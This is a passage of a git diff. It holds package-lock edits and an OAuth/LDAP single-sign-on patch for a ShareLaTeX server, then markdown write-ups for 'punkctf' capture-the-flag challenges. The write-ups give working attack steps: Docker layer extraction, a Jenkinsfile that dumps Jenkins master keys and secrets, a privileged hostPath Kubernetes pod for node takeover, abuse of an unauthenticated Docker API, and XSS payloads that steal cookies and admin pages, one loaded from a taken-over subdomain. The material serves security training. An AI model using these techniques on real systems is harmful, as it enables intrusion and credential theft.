"sha512-cwESVXlO3url9YWlFW/TA9cshCEhtu7IKJ/p5soJ/gGpj7vbvFrAY/eIioQ6Dw23KjZhYgiIo8HOs1nQ2vr/oQ==" +- }, + "utf-8-validate": { + "version": "5.0.8", + "resolved": "https://registry.npmjs.org/utf-8-validate/-/utf-8-validate-5.0.8.tgz", +@@ -65377,7 +52309,8 @@ + "utils-flatten": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/utils-flatten/-/utils-flatten-1.0.0.tgz", +- "integrity": "sha1-AfMNMZO+RkxAsxdV5nQNDbDO8kM=" ++ "integrity": "sha1-AfMNMZO+RkxAsxdV5nQNDbDO8kM=", ++ "dev": true + }, + "utils-merge": { + "version": "1.0.1", +@@ -65414,14 +52347,6 @@ + } + } + }, +- "v8flags": { +- "version": "3.2.0", +- "resolved": "https://registry.npmjs.org/v8flags/-/v8flags-3.2.0.tgz", +- "integrity": "sha512-mH8etigqMfiGWdeXpaaqGfs6BndypxusHHcv2qSHyZkGEznCd/qAXCWWRzeowtL54147cktFOC4P5y+kl8d8Jg==", +- "requires": { +- "homedir-polyfill": "^1.0.1" +- } +- }, + "valid-data-url": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/valid-data-url/-/valid-data-url-2.0.0.tgz", +@@ -65432,11 +52357,6 @@ + "resolved": "https://registry.npmjs.org/valid-url/-/valid-url-1.0.9.tgz", + "integrity": "sha1-HBRHm0DxOXp1eC8RXkCGRHQzogA=" + }, +- "validator": { +- "version": "13.7.0", +- "resolved": "https://registry.npmjs.org/validator/-/validator-13.7.0.tgz", +- "integrity": "sha512-nYXQLCBkpJ8X6ltALua9dRrZDHVYxjJ1wgskNt1lH9fzGjs3tgojGSCBjmEPwkWS1y29+DrizMTW19Pr9uB2nw==" +- }, + "value-or-function": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/value-or-function/-/value-or-function-3.0.0.tgz", +@@ -65704,8 +52624,7 @@ + } + }, + "web-streams-polyfill": { +- "version": "4.0.0-beta.1", +- "resolved": "https://registry.npmjs.org/web-streams-polyfill/-/web-streams-polyfill-4.0.0-beta.1.tgz", ++ "version": "https://registry.npmjs.org/web-streams-polyfill/-/web-streams-polyfill-4.0.0-beta.1.tgz", + "integrity": "sha512-3ux37gEX670UUphBF9AMCq8XM6iQ8Ac6A+DSRRjDoRBm1ufCkaCDdNVbaqq60PsEkdNlLKrGtv/YBP4EJXqNtQ==" + }, + "webidl-conversions": { +@@ -66103,14 +53022,6 @@ + "babel-walk": "3.0.0-canary-5" + } + }, +- "wkx": { +- "version": "0.4.8", +- "resolved": "https://registry.npmjs.org/wkx/-/wkx-0.4.8.tgz", +- "integrity": "sha512-ikPXMM9IR/gy/LwiOSqWlSL3X/J5uk9EO2hHNRXS41eTLXaUFEVw9fn/593jW/tE5tedNg8YjT5HkCa4FqQZyQ==", +- "requires": { +- "@types/node": "*" +- } +- }, + "word-wrap": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.3.tgz", +@@ -66194,6 +53105,7 @@ + "version": "8.4.2", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.4.2.tgz", + "integrity": "sha512-Kbk4Nxyq7/ZWqr/tarI9yIt/+iNNFOjBXEWgTb4ydaNHBNGgvf2QHbS9fdfsndfjFlFwEd4Al+mw83YkaD10ZA==", ++ "devOptional": true, + "requires": {} + }, + "x-xss-protection": { +@@ -66286,7 +53198,8 @@ + "xpath": { + "version": "0.0.5", + "resolved": "https://registry.npmjs.org/xpath/-/xpath-0.0.5.tgz", +- "integrity": "sha1-RUA29u8PPfWvXUukoRn7dWdLPmw=" ++ "integrity": "sha1-RUA29u8PPfWvXUukoRn7dWdLPmw=", ++ "dev": true + }, + "xpath.js": { + "version": "1.1.0", +@@ -66343,27 +53256,6 @@ + "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==", + "dev": true + }, +- "yargs": { +- "version": "17.3.1", +- "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.3.1.tgz", +- "integrity": "sha512-WUANQeVgjLbNsEmGk20f+nlHgOqzRFpiGWVaBrYGYIGANIIu3lWjoyi0fNlFmJkvfhCZ6BXINe7/W2O2bV4iaA==", +- "requires": { +- "cliui": "^7.0.2", +- "escalade": "^3.1.1", +- "get-caller-file": "^2.0.5", +- "require-directory": "^2.1.1", +- "string-width": "^4.2.3", +- "y18n": "^5.0.5", +- "yargs-parser": "^21.0.0" +- }, +- "dependencies": { +- "yargs-parser": { +- "version": "21.0.0", +- "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.0.0.tgz", +- "integrity": "sha512-z9kApYUOCwoeZ78rfRYYWdiU/iNL6mwwYlkkZfJoyMR1xps+NEBX5X7XmRpxkZHhXJ6+Ey00IwKxBBSW9FIjyA==" +- } +- } +- }, + "yargs-parser": { + "version": "20.2.4", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.4.tgz", +@@ -66431,36 +53323,6 @@ + "toposort": "^2.0.2" + } + }, +- "z-schema": { +- "version": "3.25.1", +- "resolved": "https://registry.npmjs.org/z-schema/-/z-schema-3.25.1.tgz", +- "integrity": "sha512-7tDlwhrBG+oYFdXNOjILSurpfQyuVgkRe3hB2q8TEssamDHB7BbLWYkYO98nTn0FibfdFroFKDjndbgufAgS/Q==", +- "requires": { +- "commander": "^2.7.1", +- "core-js": "^2.5.7", +- "lodash.get": "^4.0.0", +- "lodash.isequal": "^4.0.0", +- "validator": "^10.0.0" +- }, +- "dependencies": { +- "commander": { +- "version": "2.20.3", +- "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", +- "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==", +- "optional": true +- }, +- "core-js": { +- "version": "2.6.12", +- "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.6.12.tgz", +- "integrity": "sha512-Kb2wC0fvsWfQrgk8HU5lW6U/Lcs8+9aaYcy4ZFc6DDlo4nZ7n70dEgE5rtR0oG6ufKDUnrwfWL1mXR5ljDatrQ==" +- }, +- "validator": { +- "version": "10.11.0", +- "resolved": "https://registry.npmjs.org/validator/-/validator-10.11.0.tgz", +- "integrity": "sha512-X/p3UZerAIsbBfN/IwahhYaBbY68EN/UQBWHtsbXGT5bfrH/p4NQzUCG1kF/rtKaNpnJ7jAu6NGTdSNtyNIXMw==" +- } +- } +- }, + "zeparser": { + "version": "0.0.5", + "resolved": "https://registry.npmjs.org/zeparser/-/zeparser-0.0.5.tgz", +@@ -66475,11 +53337,6 @@ + "compress-commons": "^4.1.0", + "readable-stream": "^3.6.0" + } +- }, +- "zlib": { +- "version": "1.0.5", +- "resolved": "https://registry.npmjs.org/zlib/-/zlib-1.0.5.tgz", +- "integrity": "sha512-40fpE2II+Cd3k8HWTWONfeKE2jL+P42iWJ1zzps5W51qcTsOUKM5Q5m2PFb0CLxlmFAaUuUdJGc3OfZy947v0w==" + } + } + } +diff --git a/services/web/app.js b/services/web/app.js +old mode 100644 +new mode 100755 +diff --git a/services/web/app/src/Features/Authentication/AuthenticationController.js b/services/web/app/src/Features/Authentication/AuthenticationController.js +index 176162069..446710ca6 100644 +--- a/services/web/app/src/Features/Authentication/AuthenticationController.js ++++ b/services/web/app/src/Features/Authentication/AuthenticationController.js +@@ -20,6 +20,8 @@ const AsyncFormHelper = require('../Helpers/AsyncFormHelper') + const _ = require('lodash') + const UserAuditLogHandler = require('../User/UserAuditLogHandler') + const AnalyticsRegistrationSourceHelper = require('../Analytics/AnalyticsRegistrationSourceHelper') ++const axios = require('axios') ++const Path = require('path') + const { + acceptsJson, + } = require('../../infrastructure/RequestContentTypeDetection') +@@ -291,7 +293,70 @@ const AuthenticationController = { + + return doRequest + }, ++ oauth2Redirect(req, res, next) { ++ res.redirect(`${process.env.OAUTH_AUTH_URL}?` + ++ querystring.stringify({ ++ client_id: process.env.OAUTH_CLIENT_ID, ++ response_type: "code", ++ redirect_uri: (process.env.SHARELATEX_SITE_URL + "/oauth/callback"), ++ })); ++ }, ++ ++ oauth2Callback(req, res, next) { ++ const code = req.query.code; ++ ++ //construct axios body ++ const params = new URLSearchParams() ++ params.append('grant_type', "authorization_code") ++ params.append('client_id', process.env.OAUTH_CLIENT_ID) ++ params.append('client_secret', process.env.OAUTH_CLIENT_SECRET) ++ params.append("code", code) ++ params.append('redirect_uri', (process.env.SHARELATEX_SITE_URL + "/oauth/callback")) ++ ++ ++ // json_body = { ++ // "grant_type": "authorization_code", ++ // client_id: process.env.OAUTH_CLIENT_ID, ++ // client_secret: process.env.OAUTH_CLIENT_SECRET, ++ // "code": code, ++ // redirect_uri: (process.env.SHARELATEX_SITE_URL + "/oauth/callback"), ++ // } ++ ++ axios.post(process.env.OAUTH_ACCESS_URL, params, { ++ headers: { ++ "Content-Type": "application/x-www-form-urlencoded", + ++ } ++ }).then(access_res => { ++ ++ console.log("respond is " + JSON.stringify(access_res.data)) ++ authorization_bearer = "Bearer " + access_res.data.access_token ++ ++ let axios_get_config = { ++ headers: { ++ "Content-Type": "application/x-www-form-urlencoded", ++ "Authorization": authorization_bearer, ++ }, ++ params: access_res.data ++ } ++ ++ axios.get(process.env.OAUTH_USER_URL, axios_get_config).then(info_res => { ++ console.log("oauth_user: ", JSON.stringify(info_res.data)); ++ if (info_res.data.err) { ++ res.json({message: info_res.data.err}); ++ } else { ++ AuthenticationManager.createUserIfNotExist(info_res.data, (error, user) => { ++ if (error) { ++ res.json({message: error}); ++ } else { ++ console.log("real_user: ", user); ++ AuthenticationController.finishLogin(user, req, res, next); ++ } ++ }); ++ } ++ }); ++ }); ++ }, + requireOauth() { + // require this here because module may not be included in some versions + const Oauth2Server = require('../../../../modules/oauth2-server/app/src/Oauth2Server') +diff --git a/services/web/app/src/Features/Authentication/AuthenticationManager.js b/services/web/app/src/Features/Authentication/AuthenticationManager.js +index 451d2961a..331c16aeb 100644 +--- a/services/web/app/src/Features/Authentication/AuthenticationManager.js ++++ b/services/web/app/src/Features/Authentication/AuthenticationManager.js +@@ -11,6 +11,8 @@ const { + } = require('./AuthenticationErrors') + const util = require('util') + const HaveIBeenPwned = require('./HaveIBeenPwned') ++const { Client } = require('ldapts'); ++const ldapEscape = require('ldap-escape'); + + const BCRYPT_ROUNDS = Settings.security.bcryptRounds || 12 + const BCRYPT_MINOR_VERSION = Settings.security.bcryptMinorVersion || 'a' +@@ -268,6 +270,65 @@ const AuthenticationManager = { + } + return true + }, ++ ++ createUserIfNotExist(oauth_user, callback) { ++ const query = { ++ //name: ZHANG San ++ email: oauth_user.email ++ }; ++ User.findOne(query, (error, user) => { ++ if ((!user || !user.hashedPassword)) { ++ //create random pass for local userdb, does not get checked for ldap users during login ++ let pass = require("crypto").randomBytes(32).toString("hex") ++ const userRegHand = require('../User/UserRegistrationHandler.js') ++ userRegHand.registerNewUser({ ++ email: query.email, ++ first_name: oauth_user.given_name, ++ last_name: oauth_user.family_name, ++ password: pass ++ }, ++ function (error, user) { ++ if (error) { ++ return callback(error, null); ++ } ++ user.admin = false ++ user.emails[0].confirmedAt = Date.now() ++ user.save() ++ console.log("user %s added to local library", query.email) ++ User.findOne(query, (error, user) => { ++ if (error) { ++ return callback(error, null); ++ } ++ if (user && user.hashedPassword) { ++ return callback(null, user); ++ } else { ++ return callback("Unknown error", null); ++ } ++ } ++ ) ++ }) ++ } else { ++ return callback(null, user); ++ } ++ }); ++ }, ++ ++ authUserObj(error, user, query, password, callback) { ++ if ( process.env.ALLOW_EMAIL_LOGIN && user && user.hashedPassword) { ++ console.log("email login for existing user " + query.email) ++ // check passwd against local db ++ bcrypt.compare(password, user.hashedPassword, function (error, match) { ++ if (match) { ++ console.log("Local user password match") ++ AuthenticationManager.login(user, password, callback) ++ } ++ }) ++ } else { ++ // No local passwd check user has to be in ldap and use ldap credentials ++ AuthenticationManager.ldapAuth(query, password, AuthenticationManager.createIfNotExistAndLogin, callback, user) ++ } ++ return null ++ }, + } + + AuthenticationManager.promises = { +diff --git a/services/web/app/src/router.js b/services/web/app/src/router.js +index 77b0300a9..19a413f80 100644 +--- a/services/web/app/src/router.js ++++ b/services/web/app/src/router.js +@@ -1304,5 +1304,10 @@ function initialize(webRouter, privateApiRouter, publicApiRouter) { + + webRouter.get('/unsupported-browser', renderUnsupportedBrowserPage) + ++ webRouter.get('/oauth/redirect', AuthenticationController.oauth2Redirect) ++ webRouter.get('/oauth/callback', AuthenticationController.oauth2Callback) ++ AuthenticationController.addEndpointToLoginWhitelist('/oauth/redirect') ++ AuthenticationController.addEndpointToLoginWhitelist('/oauth/callback') ++ + webRouter.get('*', ErrorController.notFound) + } +diff --git a/services/web/app/views/user/login.pug b/services/web/app/views/user/login.pug +index 5db927465..365bf5722 100644 +--- a/services/web/app/views/user/login.pug ++++ b/services/web/app/views/user/login.pug +@@ -34,3 +34,6 @@ block content + span(data-ol-inflight="idle") #{translate("login")} + span(hidden data-ol-inflight="pending") #{translate("logging_in")}… + a.pull-right(href='/user/password/reset') #{translate("forgot_your_password")}? ++ .form-group.text-center(style="padding-top: 10px") ++ a.btn-block.login-btn(href="/oauth/redirect" style='padding-left: 0px') ++ | Log in via SSO +diff --git a/services/web/package.json b/services/web/package.json +index b233c4682..e28167188 100644 +--- a/services/web/package.json ++++ b/services/web/package.json +@@ -314,6 +314,9 @@ + "webpack-cli": "^4.9.2", + "webpack-dev-server": "^4.7.4", + "webpack-merge": "^5.8.0", +- "worker-loader": "^3.0.8" ++ "worker-loader": "^3.0.8", ++ "axios": "^1.1.2", ++ "ldap-escape": "^2.0.6", ++ "ldapts": "^3.2.4" + } + } diff --git a/punkctf/docker_01.md b/punkctf/docker_01.md new file mode 100644 index 0000000..33562e8 --- /dev/null +++ b/punkctf/docker_01.md @@ -0,0 +1,6 @@ + +Running `docker images`, we see an image named `challenge` that presumably has our flag. + +We have unrestricted access to the docker daemon running as root, so we can simply make ourselves root inside the container and be able to access everything. `docker run -it --rm --user=0 challenge sh`. + +`cat /root/FLAG`: `punk_{E1U2R3V59WIUZUJI}` diff --git a/punkctf/docker_02.md b/punkctf/docker_02.md new file mode 100644 index 0000000..1314d81 --- /dev/null +++ b/punkctf/docker_02.md @@ -0,0 +1,4 @@ + +If we follow the same steps as before, then we see we have the `challenge` image again, but that instead of the flag `/root/flag` just contains a hash of it. + +Going back to the host, we can look at the build steps for the `challenge` image with `docker image history challenge`. We see one of the build steps involves echoing the flag hash in to the file, so we can see the flag in plaintext: `punk_{V70P92VJALOS5KMM}`. diff --git a/punkctf/docker_03.md b/punkctf/docker_03.md new file mode 100644 index 0000000..9e7ea7a --- /dev/null +++ b/punkctf/docker_03.md @@ -0,0 +1,12 @@ + +Similar to the last one, we only have a hash of the flag in `/root/flag`. +If we look at the build steps with `docker image history --no-trunc challenge`, it is now copying the file, hashing it then removing it. + +Docker images consist of many layers in a specific order, where each layer modifies the filesystem in some way. Each build instruction maps to at most one layer. When we add the flag file, a new layer is created with it in it, and even if we remove the flag later, that layer is still part of our image. + +To get to it, we save the image as a tar (`docker save challenge > challenge.tar`), then extract it. + +Each layer has a folder with a long hash, and a `layer.tar` inside that. +To quickly search through them all, I used this command:`find -iname '*.tar' -exec sh -c 'echo {}; tar -tf {} | grep FLAG' \;` - this prints out the layer hash, followed by all files inside it containing `FLAG`. + +We see only one layer has the `FLAG` file, and once we extract it we can read `opt/flag` to get `punk_{53GAEP9LAWODTO0T}`. diff --git a/punkctf/gtfobins_02.md b/punkctf/gtfobins_02.md new file mode 100644 index 0000000..1cf0fcf --- /dev/null +++ b/punkctf/gtfobins_02.md @@ -0,0 +1,8 @@ + +through basic recon you can find kubectl has suid bit + +if you lookup on gtfobins you find you can serve static files with kubectl using `kubectl proxy --address=0.0.0.0 --port=4444 --www=/root/ --www-prefix=/x/` + +then just `wget http://localhost:4444/x/` in another tab + +`punk_{FUN9BUQ19K8VCDRT}` diff --git a/punkctf/jenkins_01.md b/punkctf/jenkins_01.md new file mode 100644 index 0000000..12e9026 --- /dev/null +++ b/punkctf/jenkins_01.md @@ -0,0 +1,5 @@ + +Since we have access to change the pipeline, we can simply remove the hash part to print the flag in plaintext. + +Jenkins tries to be smart and censor it in our logs, so to get around this we cut out the `punk_` part of the flag by piping it to `cut -c 5-`. +With the prefix added back, we get `punk_{64J846I332MEAGL4}`. diff --git a/punkctf/jenkins_02.md b/punkctf/jenkins_02.md new file mode 100644 index 0000000..f4270ad --- /dev/null +++ b/punkctf/jenkins_02.md @@ -0,0 +1,27 @@ + +We can no longer edit the pipeline directly, but we can add stuff to `webpack.config.js` which is executed as a normal JS file, so we can access `$FLAG` with `process.env.flag` + +The flag is filtered out again, I went probably overkill and copied a ROT13 function to obscure it: + +```js +function cipherRot13(str) { + str = str.toUpperCase(); + return str.replace(/[A-Z]/g, rot13); + + function rot13(correspondance) { + const charCode = correspondance.charCodeAt(); + //A = 65, Z = 90 + return String.fromCharCode( + ((charCode + 13) <= 90) ? charCode + 13 + : (charCode + 13) % 90 + 64 + ); + + } +} + +console.log(cipherRot13(process.env.FLAG)) + +// rest of webpack.config.js +``` + +Reversing the ROT13, we get `punk_{7KN3O181O6W1A6XS}`. diff --git a/punkctf/jenkins_03.md b/punkctf/jenkins_03.md new file mode 100644 index 0000000..2ebfbe0 --- /dev/null +++ b/punkctf/jenkins_03.md @@ -0,0 +1,24 @@ + +Jenkins doesn't provide any sort of sandboxing, but it tells you your build runs in `/var/jenkins_home/jobs/...`. +You can modify the `Jenkinsfile` to enumerate `/var/jenkins_home`, using `find` or whatever else. + +From this we're able to read all the config files, including the one for secure jobs in `/var/jenkins_home/jobs/secure-jobs/config.xml`. +The credentials in here are encrypted, but since we're able to read everything Jenkins can, we can find the key. I found [this](https://github.com/hoto/jenkins-credentials-decryptor) tool to do so. + +This `Jenkinsfile` gets everything we need for decryption. + +``` +pipeline { + agent any + stages { + stage('build') { + steps { + sh 'cat /var/jenkins_home/jobs/secure-jobs/config.xml' + sh 'cat /var/jenkins_home/secrets/master.key' + sh 'cat /var/jenkins_home/secrets/hudson.util.Secret | base64' + } + } + } +} +``` +Then we simply feed everything into the decryptor to get `punk_{GBI3BZOA3E8USYUH}`. diff --git a/punkctf/k8s_01.md b/punkctf/k8s_01.md new file mode 100644 index 0000000..e2e4c55 --- /dev/null +++ b/punkctf/k8s_01.md @@ -0,0 +1,3 @@ +There's a secret in the default namespace, which you can list then get with `kubectl get secret -o yaml`. + +After base64 decoding it, you get `punk_{Q53O2RDC1W7VTIWY}` diff --git a/punkctf/k8s_02.md b/punkctf/k8s_02.md new file mode 100644 index 0000000..328a3b4 --- /dev/null +++ b/punkctf/k8s_02.md @@ -0,0 +1,4 @@ + +You can no longer get the secret directly, but you can still list all secrets. Run `kubectl get secret -o yaml` to list with all the details, and base64 decode as before. + +`punk_{L649VD8GELSAF4G4}` diff --git a/punkctf/k8s_03.md b/punkctf/k8s_03.md new file mode 100644 index 0000000..6f643be --- /dev/null +++ b/punkctf/k8s_03.md @@ -0,0 +1,39 @@ + +Using `kubectl auth can-i --list`, we see that we can't access secrets anymore, but we can create deployments. + +Looking at the existing pod, we see that it mounts a secret called `y0u-cant-l1st-m3-s3crets-n0w`, but it only outputs the hash and we can't exec into it in this challenge. + +We can create a deployment similar to the existing pod, but without the hashing: + +```yaml +apiVersion: apps/v1 +kind: Deployment +metadata: + name: flag-getter +spec: + replicas: 1 + selector: + matchLabels: + app: flag-getter + template: + metadata: + labels: + app: flag-getter + spec: + containers: + - command: + - cat + - /flag/flag + image: busybox + imagePullPolicy: IfNotPresent + name: flag-getter + volumeMounts: + - mountPath: /flag + name: flag + volumes: + - name: flag + secret: + secretName: y0u-cant-l1st-m3-s3crets-n0w +``` + +This will die immediately, but that's fine - just read the pod logs and it will have the flag. diff --git a/punkctf/k8s_04.md b/punkctf/k8s_04.md new file mode 100644 index 0000000..3212624 --- /dev/null +++ b/punkctf/k8s_04.md @@ -0,0 +1,50 @@ + +Using `kubectl auth can-i --list` we find we still can't look at secrets directly, but we can create pods now. + +These pods don't have any security policy applied, meaning there are plenty of privesc routes we can take, most of them described [here](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation). + +Here is the pod i created: + +```yaml +apiVersion: v1 +kind: Pod +metadata: + name: everything-allowed-exec-pod + labels: + app: pentest +spec: + hostNetwork: true + hostPID: true + hostIPC: true + containers: + - name: everything-allowed-pod + image: busybox + imagePullPolicy: IfNotPresent + securityContext: + privileged: true + volumeMounts: + - mountPath: /host + name: noderoot + command: [ "/bin/sh", "-c", "--" ] + args: [ "while true; do sleep 30; done;" ] + volumes: + - name: noderoot + hostPath: + path: / +``` + +We can then `kubectl exec -it pod/everything-allowed-exec-pod sh` and explore the host filesystem at `/host`. + +Looking in `/host/etc/kubernetes/admin.conf` (the standard location for the cluster admin config), we get connection details to login as cluster admin: + +``` +users: +- name: kubernetes-admin + user: + client-certificate-data: <long base64 string> + client-key-data: <long base64 string> +``` + +We put this in our terminals `.kube/config`, and use it to enumerate the secrets with `kubectl get secret -A` + +We find a secret in the `kube-system` namespace, from which we get the flag `punk_{3WPF4FB37UMJV31D}` diff --git a/punkctf/k8s_05.md b/punkctf/k8s_05.md new file mode 100644 index 0000000..a3dcb2c --- /dev/null +++ b/punkctf/k8s_05.md @@ -0,0 +1,38 @@ + +Using `kubectl auth can-i --list` we find we can only create pods and look at their logs, but not exec into them. + +If we try the payload from the previous stage, we also find that there are now pod security policies in effect. +It mentions we're using the baseline policy, which is described [here](https://kubernetes.io/docs/concepts/security/pod-security-standards/#baseline). + +Initially, I created a pod such as below to dump all the secrets being mounted, which included a token for the default service account for the namespace. I was hoping this would have more permissions, but it ended up a dead end. + +```yaml +apiVersion: v1 +kind: Pod +metadata: + name: get-sa-token +spec: + containers: + - name: get-sa-token + image: busybox + imagePullPolicy: IfNotPresent + securityContext: + runAsUser: 0 + command: [ "/bin/sh", "-c", "--" ] + args: [ "while true; do find /var/run/secrets -exec cat {} \\; ; sleep 30; done;" ] +``` + +Inspecting the running container though, we can see the IP of the host that runs it is `10.0.27.88`. + +We use the built in `pscan` function of busybox to port scan this IP - we do this because sometimes kubelets are misconfigured to allow anonymous access or similar, so we want to investigate. (the exact arg was `"while true; do pscan -P 10000 10.0.27.88; sleep 30; done;"`). + +After trying to access the kubelet and failing, the only other open port other than SSH is port 2375. +Googling for it, this port usually indicates an unauthenticated docker socket. + +Unfortunately we don't have a docker CLI available to interact directly, so we need to use their [API](https://docs.docker.com/engine/api/v1.42/) directly, using wget. + +The container we create is equivalent to `docker run -v /:/host --user=0 busybox cat /host/etc/kubernetes/admin.conf`, and we then read the output through the logs endpoint. Unfortunately I lost my exact payloads for this :(. + +Once we have this, we list the secrets and print them out as before to get the flag. + +I found out later this wasn't actually the intended solution - turns out you have permission to edit the namespace so you can just remove the pod security policy and do the same as k8s 4. diff --git a/punkctf/secrets_5.md b/punkctf/secrets_5.md new file mode 100644 index 0000000..d7acc2d --- /dev/null +++ b/punkctf/secrets_5.md @@ -0,0 +1,7 @@ + + +the interface we're given shows a bunch of leaked secrets at each commit. running `git log --all`, it seems like they are committing then removing each ssh key. + +we search for hostname of the system we're on, then get the ssh key and use it to ssh into root@localhost + +`punk_{B2J5I5ZJS5XT6E8J}` diff --git a/punkctf/web_01.md b/punkctf/web_01.md new file mode 100644 index 0000000..51747c8 --- /dev/null +++ b/punkctf/web_01.md @@ -0,0 +1,17 @@ + +The comment field is vulnerable to injection, so we just inject a script that makes a comment with the document.cookie variable. + +``` +<script> +let data = new URLSearchParams(); +data.append('name', 'Cookies'); +data.append('comment', document.cookie); +fetch('/new-comment', { + method: 'POST', + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + body: data, +}); +</script> +``` + +Then we set our session ID to the admin's, and go to the admin page. `punk_{QRPMGW20G1XF20IH}` diff --git a/punkctf/web_02.md b/punkctf/web_02.md new file mode 100644 index 0000000..a36bb47 --- /dev/null +++ b/punkctf/web_02.md @@ -0,0 +1,23 @@ + +We can still inject script tags into this comments field, but we can't embed scripts into them, because the CSP (Content Security POlicy) only allows us to load scripts from `*.<random-numbers>.ctf.one.dr.punksecurity.cloud`. + +Running the command they gave for subdomain takeover scanning we find that `docs.<...>` points to GitHub Pages, so we can set up a simple GitHub pages repo and use their subdomain to host whatever we want. `payload.js`: + +``` +fetch('/admin').then(r => r.text()).then(d => { + let data = new URLSearchParams(); + data.append('name', 'admin page'); + data.append('comment', d); + fetch('/new-comment', { + method: 'POST', + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + body: data, + }); +}) +``` + +Then our comment just loads this script: + +``` +<script src="http://docs.47f325c9-f4c.ctf.one.dr.punksecurity.cloud/payload.js"></script> +``` diff --git a/punkctf/web_03.md b/punkctf/web_03.md new file mode 100644 index 0000000..a1d2e1e --- /dev/null +++ b/punkctf/web_03.md @@ -0,0 +1,15 @@ + +The cookie is HttpOnly now, but we only care about the contents of `/admin`, not the cookie, so we can use the same payload for `Subdomain Takeover - Easy`, but without doing the subdomain takeover. + +``` +fetch('/admin').then(r => r.text()).then(d => { + let data = new URLSearchParams(); + data.append('name', 'admin page'); + data.append('comment', d); + fetch('/new-comment', { + method: 'POST', + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + body: data, + }); +}) +``` diff --git a/punkctf/web_04.md b/punkctf/web_04.md new file mode 100644 index 0000000..f0cffaa --- /dev/null +++ b/punkctf/web_04.md @@ -0,0 +1,7 @@ + +Now our input sanitises out script fields, however it still allows us to make images. +We use the normal technique of putting a bad image url in them, then adding js in the onerror attribute, with the same JS as `XSS - Medium`. + +``` +<img src=x onerror="fetch('/admin').then(r => r.text()).then(d => {let data = new URLSearchParams(); data.append('name', 'admin page'); data.append('comment', d); fetch('/new-comment', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, body: data });})"> +``` |